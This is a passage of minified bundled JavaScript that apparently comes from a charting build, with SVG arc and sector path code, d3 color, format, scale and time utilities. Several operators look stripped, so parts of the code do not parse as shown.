f?S1(S1({},t),{},{radius:i,angle:E8(d,t)}):null};function Uk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=ft(t,n,r,i),l=ft(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var C1,P1,E1,_1,A1,O1,T1;function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=qt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Xl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/ku,f=c?i:i+s*d,p=ft(t,n,u,f),h=ft(t,n,r,f),x=c?i-s*d:i,g=ft(t,n,u*Math.cos(d*ku),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Vk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=A8(s,o),c=s+l,u=ft(t,n,i,s),d=ft(t,n,i,c),f=tt(C1||(C1=Yi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=ft(t,n,r,s),h=ft(t,n,r,c);f+=tt(P1||(P1=Yi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(E1||(E1=Yi(["L ",","," Z"])),t,n);return f},O8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=qt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Xl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Xl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(_1||(_1=Yi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),p.x,p.y,s,s,s*2,s,s,-s*2):Vk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(A1||(A1=Yi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Xl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Xl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(O<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(O1||(O1=Yi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(O>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(T1||(T1=Yi(["L",",","Z"])),t,n);return b},T8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Hk=e=>{var t=gn(e,T8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=O8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Vk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",uh({},Ut(t),{className:p,d:g}))};function M8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(uN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=ft(r,i,s,l),u=ft(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Uk(t)}}var Kk={},Gk={},Yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gx,n=Gk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function I8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function i0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===I8?e:D8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function D8(){return 0}function Xk(e){return e===null?NaN:+e}function*R8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const $8=i0(wi),fl=$8.right;i0(Xk).center;class M1 extends Map{constructor(t,n=W8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(L1(this,t))}has(t){return super.has(L1(this,t))}set(t,n){return super.set(B8(this,t),n)}delete(t){return super.delete(F8(this,t))}}function L1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function B8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function F8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function W8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function U8(e=wi){if(e===wi)return Zk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function Zk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const V8=Math.sqrt(50),H8=Math.sqrt(10),K8=Math.sqrt(2);function zu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=V8?10:s>=H8?5:s>=K8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function D1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Qk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?Zk:U8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Qk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Hs(e,n,t),i(e[r],s)>0&&Hs(e,n,r);o0;)--l}i(e[n],s)===0?Hs(e,n,l):(++l,Hs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Hs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function G8(e,t,n){if(e=Float64Array.from(R8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return D1(e);if(t>=1)return I1(e);var r,i=(r-1)*t,s=Math.floor(i),o=I1(Qk(e,s).subarray(0,s+1)),l=D1(e.subarray(s+1));return o+(l-o)*(i-s)}}function Y8(e,t,n=Xk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function q8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Zl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Zl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Q8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=J8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=e7.exec(e))?Zl(t[1],t[2],t[3],t[4]):(t=t7.exec(e))?Zl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=n7.exec(e))?V1(t[1],t[2]/100,t[3]/100,1):(t=r7.exec(e))?V1(t[1],t[2]/100,t[3]/100,t[4]):R1.hasOwnProperty(e)?F1(R1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function F1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Zl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function s7(e){return e instanceof ml||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function hh(e,t,n,r){return arguments.length===1?s7(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}o0(Xt,hh,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Cu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:W1,formatHex:W1,formatHex8:o7,formatRgb:U1,toString:U1}));function W1(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}`}function o7(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}${qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function U1(){const e=Cu(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Cu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function qi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function V1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function t4(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof ml||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function l7(e,t,n,r){return arguments.length===1?t4(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}o0(Hn,l7,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(hm(e>=240?e-240:e+120,i,r),hm(e,i,r),hm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(H1(this.h),Ql(this.s),Ql(this.l),Cu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Cu(this.opacity);return`${e===1?"hsl(":"hsla("}${H1(this.h)}, ${Ql(this.s)*100}%, ${Ql(this.l)*100}%${e===1?")":`, ${e})`}`}}));function H1(e){return e=(e||0)%360,e<0?e+360:e}function Ql(e){return Math.max(0,Math.min(1,e||0))}function hm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const l0=e=>()=>e;function c7(e,t){return function(n){return e+n*t}}function u7(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function d7(e){return(e=+e)==1?n4:function(t,n){return n-t?u7(t,n,e):l0(isNaN(t)?n:t)}}function n4(e,t){var n=t-e;return n?c7(e,n):l0(isNaN(e)?t:e)}const K1=function e(t){var n=d7(t);function r(i,s){var o=n((i=hh(i)).r,(s=hh(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=n4(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function f7(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Pu(r,i)})),n=xm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function N7(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?k7:N7,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Pu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Eu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=c0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function u0(){return Xd()(Ft,Ft)}function z7(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function _u(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function ds(e){return e=_u(Math.abs(e)),e?e[1]:NaN}function S7(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function C7(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var P7=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Xo(e){if(!(t=P7.exec(e)))throw new Error("invalid format: "+e);var t;return new d0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Xo.prototype=d0.prototype;function d0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}d0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function E7(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var Au;function _7(e,t){var n=_u(e,t);if(!n)return Au=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(Au=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+_u(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=_u(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:z7,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:_7,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function X1(e){return e}var Z1=Array.prototype.map,Q1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function A7(e){var t=e.grouping===void 0||e.thousands===void 0?X1:S7(Z1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?X1:C7(Z1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Xo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,k=f.type;k==="n"?(w=!0,k="g"):q1[k]||(j===void 0&&(j=12),N=!0,k="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var z=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(k)?"0"+k.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(k)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),O=q1[k],A=/[defgprs%]/.test(k);j=j===void 0?6:/[gprs]/.test(k)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var D=z,G=S,R,K,_;if(k==="c")G=O(P)+G,P="";else{P=+P;var M=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),N&&(P=E7(P)),M&&+P==0&&g!=="+"&&(M=!1),D=(M?g==="("?g:l:g==="-"||g==="("?"":g)+D,G=(k==="s"&&!isNaN(P)&&Au!==void 0?Q1[8+Au/3]:"")+G+(M&&g==="("?")":""),A){for(R=-1,K=P.length;++R_||_>57){G=(_===46?i+P.slice(R+1):P.slice(R))+G,P=P.slice(0,R);break}}}w&&!v&&(P=t(P,1/0));var F=D.length+P.length+G.length,U=F>1)+D+P+G+U.slice(F);break;default:P=U+D+P+G;break}return s(P)}return T.toString=function(){return f+""},T}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(ds(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Xo(f),f.type="f",f),{suffix:Q1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Jl,f0,r4;O7({thousands:",",grouping:[3],currency:["$",""]});function O7(e){return Jl=A7(e),f0=Jl.format,r4=Jl.formatPrefix,Jl}function T7(e){return Math.max(0,-ds(Math.abs(e)))}function M7(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(ds(t)/3)))*3-ds(Math.abs(e)))}function L7(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,ds(t)-ds(e))+1}function i4(e,t,n,r){var i=mh(e,t,n),s;switch(r=Xo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=M7(i,o))&&(r.precision=s),r4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=L7(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=T7(i))&&(r.precision=s-(r.type==="%")*2);break}}return f0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return dh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return i4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=fh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function a4(){var e=u0();return e.copy=function(){return pl(e,a4())},Mn.apply(e,arguments),Ai(e)}function s4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Eu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return s4(e).unknown(t)},e=arguments.length?Array.from(e,Eu):[0,1],Ai(n)}function o4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function B7(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function tb(e){return(t,n)=>-e(-t,n)}function m0(e){const t=e(J1,eb),n=t.domain;let r=10,i,s;function o(){return i=B7(r),s=$7(r),n()[0]<0?(i=tb(i),s=tb(s),e(I7,D7)):e(J1,eb),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Xo(c)).precision==null&&(c.trim=!0),c=f0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(o4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function l4(){const e=m0(Xd()).domain([1,10]);return e.copy=()=>pl(e,l4()).base(e.base()),Mn.apply(e,arguments),e}function nb(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function rb(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function p0(e){var t=1,n=e(nb(t),rb(t));return n.constant=function(r){return arguments.length?e(nb(t=+r),rb(t)):t},Ai(n)}function c4(){var e=p0(Xd());return e.copy=function(){return pl(e,c4()).constant(e.constant())},Mn.apply(e,arguments)}function ib(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function F7(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function W7(e){return e<0?-e*e:e*e}function h0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(F7,W7):e(ib(n),ib(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function x0(){var e=h0(Xd());return e.copy=function(){return pl(e,x0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function U7(){return x0.apply(null,arguments).exponent(.5)}function ab(e){return Math.sign(e)*e*e}function V7(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function u4(){var e=u0(),t=[0,1],n=!1,r;function i(s){var o=V7(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(ab(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Eu)).map(ab)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return u4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function d4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return f4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function m4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[fl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return m4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const vm=new Date,gm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(vm.setTime(+s),gm.setTime(+o),e(vm),e(gm),Math.floor(n(vm,gm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Ou=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Ou.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Ou);Ou.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,v0=Dr*7,sb=Dr*30,ym=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const g0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());g0.range;const y0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());y0.range;const b0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());b0.range;const w0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());w0.range;const hl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);hl.range;const Zd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Zd.range;const 